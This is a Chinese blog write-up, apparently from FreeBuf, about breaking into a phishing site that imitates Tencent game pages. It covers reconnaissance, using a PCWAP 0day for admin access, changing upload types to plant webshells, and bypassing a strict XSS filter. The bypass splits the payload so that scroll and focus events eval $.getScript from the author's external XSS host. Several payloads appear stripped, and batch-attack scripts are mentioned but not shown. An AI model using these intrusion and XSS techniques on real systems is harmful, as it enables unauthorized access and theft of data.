前段时间有个网友给我发了个网址,说找到个专门做钓鱼网站的连接,让我看看,然后就引出了一系列事件。
网址如下:http://mfnyongshihuigui.jiebao8.top
当时也没在意,有天闲着无聊就开干了,
直接打开 jiebao8.top
果然是钓鱼站
先对其进行一些信息搜集看看
对其用谷歌语法搜索,看看是否有以下漏洞,
然而没查到什么
将此域名放到情报分析里查看
https://x.threatbook.cn/domain/mfnyongshihuigui.jiebao8.top IP [162.247.96.114]
发现改IP地址一共有230个域名
谁没事会注册这么多域名,肯定拿来干坏事
查询此IP
162.247.96.114
开放端口:21(ftp),80,102(ssh),3306
对ssh端口进行爆破,无果~
对该域名进行CMS识别
http://www.yunsee.cn/
结果为 PCWAP
PCWAP一个小众的CMS系统,手里头刚好有个PCWAP的0day
越权进后台查看信息
http://mfnyongshihuigui.jiebao8.top
修改文件上传类型,添加.php
然后我们上传图片LOGO,因为修改了上传类型,直接上传大马试试
上传大马,小马,一句话
这里大概有20多个钓鱼网站,DNF,吃鸡的
尝试着提权,但是发现执行不了linux命令,可能禁止了
全部都是钓鱼站
我直接打包了所有源码,说实话,我很想对其进行代码审计,不过,我代码审计不是我的强项
而且种钓鱼网站我好像搞过,不过当时没盲打进去,现在拿下了源码,我肯定要试试这边的过滤规则
因为我本人不会代码审计,所以说拿到后台以后也只是凭着自己的经验模糊测试
在提交账号密码时抓包
输入paylaod
u=12312312&p=12312"><c>1&bianhao=1
后台看回显
c标签被成功执行,证明有XSS漏洞, 现在我们来进一步测试
paylaod为
发现页面被拦截,
难道alert是危险字符?换个事件看看
payload:
成功弹窗,现在我们来开始构造xss paylaod
如果你之前看过我的文章,我发布过很多过狗的xss paylaod
连接如下:https://bbs.ichunqiu.com/thread-31886-1-1.html
我们直接拿来用
payload为
被拦截了,在测试看看
payload为,对关键字符HTML编码试试
被拦截
用string.fromcharcode函数构造payload 试试,还是不行
我接近试了上百个payload,回显都是被拦截
凭着我单身23年的经验发现这个xss 过滤机制可能没那么简单
通过不断的模糊测试,发现对方的过滤机制大概如下:
带有a字符被拦截,已经onmouseover,onload等常见事件全部被过滤,最长处最大长度为32个字符,+,&#等特殊字符被过滤,这就意味着,a标签,各种编码机制都不能用~~真是有够变态的,但是也通过测试得知能够执行的事件有onscroll,onfocus,onfocus,并且unciode 编码没被过滤,没过滤的标签为 body,input,br,i 标签。
只有32个字符能输入,我目前搜集最短的xss paylaod 20个,也就是script/src=//xs.xs,但是script早就被过滤了 32 个字符,过滤了这么多肯定是构造不了,所以只能用拆分跨站,通过查看源码我发现了一个新的思路。
就是他后台调用的jquery框架, 由此自己研究出了一个新的拆分跨站
思路就是:
我们先构造一个函数,只要鼠标滚轮移动,就让所有的事件获取焦点,再用input标签启动onfocus函数 分别加载我的XSS站点(如果你没听懂的话,看看下面的代码)
代码如下,首先我们来了解下 一些javascript的事件以及函数
onscroll 事件 在元素滚动条在滚动时触发 onfocus 事件在对象获得焦点时发生
以及浏览器的一些特性,当我们输入i标签时,我们不需要输入 闭合标签(原本完整的i标签是12312)
而现在我们只需要输入 12312 即可
我们进入后台查看如下
后面的标签被自动 补上去了
了解了这些,看接下来的最新拆分跨站就容易多了,
拆分跨站代码如下
这段代码的意思是,只要对方移动鼠标滑轮或者手机端向下面滑动,就会产生出一个事件 $(*
).focus() 这是jq的选择器,意思是让所有的元素获得焦点
然后下面的两个input标签就获取了焦点, 而input标签里有一个事件,onfocus,当input标签获取了焦点的时候,就会触发onfocus函数,我在onfocus函数里的代码意思是 获取i标签里的内容(也就是 $.getScript(//xs.tv
) ),并且用eval执行它,所以这段代码整体的执行效果就是
只要对方移动了滑轮,就会执行 eval($.getScript(//xs.tv
))
如果你还没看明白的话,那就实践试试吧
我们把xss paylad 分成5段分别输入进去
效果如下:
已经成功加载了我的XSS站点,想要拿下这种类型的后台,就需要两位数的域名
根据这个站点的关键词
幸运冒险家启航-心悦俱乐部官方网站-腾讯游戏 老兵空降回归-绝地求生官方网站-腾讯游戏 (吃鸡的钓鱼站找不到)
百度一搜索,全是钓鱼界面
于是我写了个批量攻击的脚本,先用采集器采集这些钓鱼网址,再批量注入
效果如下
然后再批量渗透,自己也写了一个批量渗透钓鱼网站的脚本(不打算发,怕被人说我传播黑客工具。。。。)
拿到的钓鱼网站大部分貌似都没什么账号密码,就看到这个吃鸡的钓鱼站
我帮这位老兄删光了
一个钓鱼站大概一天上百个账号密码,不知道有多少人QQ是这样被盗的
此次渗透,可能话比较多,各位别介意,这也是为了XSS基础比较薄弱的学友考虑~
*本文作者:风在指尖,转载请注明来自 FreeBuf.COM